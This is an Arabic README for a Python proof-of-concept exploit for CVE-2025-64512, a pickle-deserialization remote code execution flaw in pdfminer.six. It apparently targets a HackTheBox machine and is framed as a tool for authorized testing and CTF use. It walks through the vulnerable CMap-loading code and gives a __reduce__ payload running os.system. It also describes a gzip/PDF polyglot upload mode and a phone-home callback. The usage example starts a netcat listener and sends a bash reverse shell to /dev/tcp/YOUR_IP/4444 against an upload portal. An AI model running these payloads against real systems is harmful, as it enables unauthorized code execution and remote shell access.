
أداة PoC بلغة Python للثغرة CVE-2025-64512، وهي ثغرة تنفيذ تعليمات عن بُعد (RCE) عبر إلغاء تسلسل pickle في pdfminer.six. تُنشئ حمولات pickle مضغوطة بصيغة gzip وملفات PDF متعددة الصيغ (polyglot)، ثم تُرسلها إلى بوابات الرفع لإجراء اختبارات مصرّح بها.
Python 3، stdlib فقط (بدون pip installs). لأغراض اختبار الأمان المصرّح به و استخدام CTF فقط — أنت مسؤول عن الامتثال للقانون وقواعد الاشتباك الخاصة بمهمتك.
| CVE | CVE-2025-64512 |
| المتأثر | pdfminer.six < 20251107 (تم إصلاحه في 20251107 — أصبحت CMaps بصيغة JSON) |
| الضحايا التابعون | markitdown < 0.1.4، pdfplumber < 0.11.8 |
| النوع | CWE-502 إلغاء تسلسل بيانات غير موثوقة → RCE بدون مصادقة |
| PoC المرجعي | luigigubello/CVE-2025-64512-Polyglot-PoC (نسخة polyglot أحادية الملف) |
الهدف المُختبَر: https://app.hackthebox.com/machines/Bedside
pdfminer.six مكتبة Python شائعة لاستخراج النصوص من ملفات PDF. تحتاج خطوط PDF
إلى CMaps — جداول تترجم رموز الأحرف إلى Unicode — ويشحنها pdfminer
كـ pickles مضغوطة بـ gzip (<name>.pickle.gz) داخل حزمته الخاصة.
انظر كيف يتم تحميل CMap (pdfminer/cmapdb.py، جميع الإصدارات قبل 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # ← attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
ثلاث ثغرات تتراكم:
name يأتي من ملف PDF نفسه. مدخل /Encoding لخط Type0 (CID) هو
name في PDF، والمهاجم يتحكم به بالكامل. لا يمكن أن تحتوي أسماء PDF على /
خام، لذا تُكتب باستخدام تهريب hex القياسي RFC: الاسم
/#2f#76#61#72#2f… يُفكّ إلى /var/….os.path.join. عندما تكون الوسيطة الثانية مطلقة، تُتجاهل الأولى
تمامًا. لذا اسم مثل /var/www/site/uploads/shell يجعل pdfminer ينظر
إلى /var/www/site/uploads/shell.pickle.gz — أي مسار على القرص — بدلاً من
دليل CMap الخاص به.pickle.loads() على محتويات الملف. يمكن أن يحمل pickle تعليمات "أعد
بناءي باستدعاء هذه الدالة" (__reduce__). إلغاء تسلسل بايتات المهاجم = تشغيل
كود المهاجم، داخل أي عملية استدعت pdfminer.متطلبات الاستغلال — الثغرة قابلة للاستغلال بشكل تافه على أي تطبيق يمنحك نصفي المعادلة:
{"__reduce__": eval("__import__('os').system('<your command>')")}./Encoding الخاص به إلى المسار المطلق لـ pickle.--mode two (افتراضي) — يرفع <name>.pickle.gz، ثم <name>.pdf.
استخدم هذا كلما كان الهدف يحلل فقط الملفات ذات امتداد PDF
(مثل مراقب يبحث عن uploads/*.pdf).--mode polyglot — يرفع ملفًا واحدًا <name>.pickle.gz يكون كلاهما
gzip-pickle صالح و PDF صالح: يختبئ ملف PDF بالكامل في حقل FCOMMENT
لترويسة gzip (يسمح RFC 1952 بالتعليقات؛ توقيع %PDF- يقع
عند البايت 10، وإزاحات xref مُقدَّمة مسبقًا ليبقى الجدول صالحًا).
استخدم هذا عندما يحلل الهدف أي ملف مرفوع كـ PDF بغض النظر عن
الامتداد (محوّلات بنمط markitdown).--verify)، ينتظر دورة معالجة الهدف
(--wait)، ويمكنه إضافة callback oracle (--callback)
يتصل بالمنزل قبل تشغيل أمرك — لتتمكن من إثبات التنفيذ حتى لو
فشلت قناتك الرئيسية.لا شيء للتثبيت — Python 3.10+ (يستخدم صيغة str | None):
chmod +x cve_2025_64512.py
أنشئ حمولات نموذجية و(إذا كان pdfminer المصاب قابلًا للاستيراد) نفّذها في Python الخاص بك لإثبات أن السلسلة تعمل قبل لمس أي هدف:
# point the selftest at a vulnerable pdfminer checkout/wheel (any < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
ينتهي المخرجات المتوقعة بـ SELFTEST PASS لكل من مشغّل الملفين
و polyglot. يمكنك أيضًا الاختبار يدويًا:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # → your uid
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit — let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
مرجع الوسائط الكامل: